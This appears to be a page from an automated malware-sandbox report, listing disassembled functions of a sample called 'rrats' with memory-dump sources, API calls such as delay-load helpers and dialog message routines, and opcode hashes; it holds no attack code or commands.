Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction ID: 9823f9a76a02dd93281216a88ea2d64a764b52b9537f2f54ae846c123885c8bf
Opcode Fuzzy Hash: 04de48f4da0057d5573094f8f1391eb8b680834ec636c82e70e38579218699a2
Instruction Fuzzy Hash: E1D0C9B1210209BADF466B628C129EE7A99EB00740F048125B882D6192EEB1DA10A666

Function 00CBE5BB Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00CBE5E3

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: bd0edf8d08310498af9342e4283433ef3c26fcd50ff2f67e47a70c3c3f4b8c34
Instruction ID: 265014ab908f6dca6f72a4b85c5ac1070d6f8820e29aa84d4598f24a869597c4
Opcode Fuzzy Hash: bd0edf8d08310498af9342e4283433ef3c26fcd50ff2f67e47a70c3c3f4b8c34
Instruction Fuzzy Hash: 7FD012B81C43409FE712EFA99846BD973D4B724F05F900101F15DD16D5DB64C5C5D629

Function 00CBDD6D Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00CB1B3E), ref: 00CBDD92

Part of subcall function 00CBB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CBB579
Part of subcall function 00CBB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CBB58A
Part of subcall function 00CBB568: IsDialogMessageW.USER32(0001046A,?), ref: 00CBB59E
Part of subcall function 00CBB568: TranslateMessage.USER32(?), ref: 00CBB5AC
Part of subcall function 00CBB568: DispatchMessageW.USER32(?), ref: 00CBB5B6

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 629479737427c671b84254e5b9446fc1d20303cf95ff3121b3f921e12b7b3ed6
Instruction ID: 12b5eb7eff08003f2735a32d56aced9c7f575658b36ca922171bd21c93263e1b
Opcode Fuzzy Hash: 629479737427c671b84254e5b9446fc1d20303cf95ff3121b3f921e12b7b3ed6
Instruction Fuzzy Hash: E8D09E31144300BADA112B51DD06F4F7AA6AB88B04F004554B289740F186729D35EB12

Function 00CA98BC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00CA97BE), ref: 00CA98C8

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: FileType
String ID:
API String ID: 3081899298-0
Opcode ID: cebf7c2ab6d668c0404fd674627ffad067f26433c6d91c5dc238aac5b697f57b
Instruction ID: e0061b98b2a3dd43ffaf72d94aa74fb641a62122e6ec41cc26dad2d151fbc0d3
Opcode Fuzzy Hash: cebf7c2ab6d668c0404fd674627ffad067f26433c6d91c5dc238aac5b697f57b
Instruction Fuzzy Hash: 94C00238404246968E219B24988A1997722EE533AABB49695D079890E1C33ACE97EA11

Function 00CBE1D1 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 90348273aacda28ba6a38588ffbc1028a344ad4e3d5137bf952dec210452f108
Instruction ID: fe7e8c9b427df1b28e24c1f43f0e3609bec4ba6047491a66248ca1622f4542c0
Opcode Fuzzy Hash: 90348273aacda28ba6a38588ffbc1028a344ad4e3d5137bf952dec210452f108
Instruction Fuzzy Hash: 68B012E525C201BC3504114E2C42CFB010DC0C5F10730C43FFC05C05C1E840EC006472

Function 00CBE1EC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e54f00ca4c6172e736d577b8c4cb8dd2d958d352951ae56db0239d273e7e17df
Instruction ID: 51d113a6830c8ce763d4780165ac93a2d714d569c59bb190c98dec31d6078a4b
Opcode Fuzzy Hash: e54f00ca4c6172e736d577b8c4cb8dd2d958d352951ae56db0239d273e7e17df
Instruction Fuzzy Hash: 13B012E525C201AC3504514E2C42DFB014DC0C8F10730C03FF809C02C1E840AC006532

Function 00CBE1F6 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: efd1de1b1202a61c70a18762708e2c4820896b20e64003cd24914242867076b5
Instruction ID: 7ab3402aedabbc2ea2fa9245c16bd776c11028eb5dfa25057fd546917cf3d78b
Opcode Fuzzy Hash: efd1de1b1202a61c70a18762708e2c4820896b20e64003cd24914242867076b5
Instruction Fuzzy Hash: 6DB092A1258201AC2504520A2802DBA014DC085F10730C03AB809C02C1E840AC046472

Function 00CBE282 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ed4baedd68a5afb1a8c8ac7eaae62bd6fe0969279a67956e79ae35dc29a3814f
Instruction ID: d4f675eeeaa327df9ebf077e12d75ccae46746ee5b3912faf4c5acfddca816fe
Opcode Fuzzy Hash: ed4baedd68a5afb1a8c8ac7eaae62bd6fe0969279a67956e79ae35dc29a3814f
Instruction Fuzzy Hash: 26B012F125C101AC3504510F2D02DFB01CDC0C4F10B30C03FF809C02C1EC41AD016432

Function 00CBE2B4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fb235bfd657cd4d6dd46918ebb1b042cc3579b8d7da26fd5581edffa57277bae
Instruction ID: baae11db1d63f6a3aa3c1f99fc16ff98a3e7667a73fbcbc12a95024ac9fbc70c
Opcode Fuzzy Hash: fb235bfd657cd4d6dd46918ebb1b042cc3579b8d7da26fd5581edffa57277bae
Instruction Fuzzy Hash: 1FB012E125C101AC3504510E6C03DFB014DC0C8F10730C43FF809C12C1E840AC406432

Function 00CBE246 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fe3cebdca12894b6ee72982ea4fe4268f3a3847e6e983bf0c9b37fc4f80053b1
Instruction ID: 4f64887353dc7eda4b0924be154f0a17439239bdf57bc9bebd371a9dd299a57b
Opcode Fuzzy Hash: fe3cebdca12894b6ee72982ea4fe4268f3a3847e6e983bf0c9b37fc4f80053b1
Instruction Fuzzy Hash: 3EB012E125D541AC3508910E2C02DFB014EC0C5F10B30C03FFC09C02C1E840EC006472

Function 00CBE250 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4d165326352d3afedb407aa3075bbdc4751377b13ef937181b442d5ef69dac19
Instruction ID: 6fdf30107f5f7a0ab7adbd60151e70604b03f817046244992d9388ecb2c4eabc
Opcode Fuzzy Hash: 4d165326352d3afedb407aa3075bbdc4751377b13ef937181b442d5ef69dac19
Instruction Fuzzy Hash: FCB012F125D641BC3548920E2C02DFB014EC0C4F10B30C13FF809C02C1E840AC446432

Function 00CBE26E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 19fa2761a52d180a0a7a11f64c372d44a7114d3befc08254fb19400903e11c44
Instruction ID: 442f000cfad36dc76575557df7f4efce01fe59498a71b9c80a474985ce7f2ae8
Opcode Fuzzy Hash: 19fa2761a52d180a0a7a11f64c372d44a7114d3befc08254fb19400903e11c44
Instruction Fuzzy Hash: 66B012E125C101AC3504511E2C02DFF018DC0C5F10730C03FFD09C02C1E840EC006472

Function 00CBE264 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a28190b67e0b7f4ef833cf474ff84e99ee27522285030feb39c2069288e7cb10
Instruction ID: 75cce6212252205b38927806dc2d070335edd928cf523c67bee5a5c2c3add2dc
Opcode Fuzzy Hash: a28190b67e0b7f4ef833cf474ff84e99ee27522285030feb39c2069288e7cb10
Instruction Fuzzy Hash: 0CB012E126D541AC3508910E2C02DFB018EC4C8F10B30C03FF80AC02C1E840AC006432

Function 00CBE20A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 2df22d4585f61ea0475a788664994510f319c6416fb5c56298a2e724da89cc8f
Instruction ID: 17ec28fa73fb479abfc3204f2475adfe905fb9f7f975a2594d5ebf048d24b32e
Opcode Fuzzy Hash: 2df22d4585f61ea0475a788664994510f319c6416fb5c56298a2e724da89cc8f
Instruction Fuzzy Hash: 4DB092A1258201AC2504520A2902DBA014DC084F10730C03AB809C02C1E851AD496432

Function 00CBE200 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ffbceb8e7014c56ef454a853a53a301480b8f7a57bbabda8c2b51906b553055d
Instruction ID: 1f3e72252a68b9ef126da08d7f7c90eb7ec25693f6ea6828aa50cd0d0a0b5213
Opcode Fuzzy Hash: ffbceb8e7014c56ef454a853a53a301480b8f7a57bbabda8c2b51906b553055d
Instruction Fuzzy Hash: 05B092A1258241AC2544520A2802DBA014DC084F10730C13AB809C02C1E840AC446432

Function 00CBE21E Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ad66bd59e65e7127cb329858ea9aee58d37eca361ca0cde44ed3488acdcdb506
Instruction ID: 54954f5e521f3fd650e58e2a499e97227397e0f9d3614c87a177ad85bd605138
Opcode Fuzzy Hash: ad66bd59e65e7127cb329858ea9aee58d37eca361ca0cde44ed3488acdcdb506
Instruction Fuzzy Hash: A0B012F125D101BC3504510E2C02DFB014DC0C5F10730C03FFC09C02C1E840ED006472

Function 00CBE228 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

Source File: 00000000.00000002.2050091952.0000000000CA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.2050035565.0000000000CA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050128084.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000CE5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050254080.0000000000D02000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2050522240.0000000000D03000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_rrats.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7289e9bad340b3eb004c2ce48671a6b97ee818788a3ae445e4068d1713e5880a
Instruction ID: 96b8672a44ea0195f5d488eec386b830ba78295d5690a10094bf0eabd5253672
Opcode Fuzzy Hash: 7289e9bad340b3eb004c2ce48671a6b97ee818788a3ae445e4068d1713e5880a
Instruction Fuzzy Hash: 7DB012F125C201BC3544510E2C02DFB014DC0C4F10730C13FF809C02C1E841AD406432

Function 00CBE23C Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00CBE1E3

Part of subcall function 00CBE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00CBE8D0
Part of subcall function 00CBE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00CBE8E1

Memory Dump Source

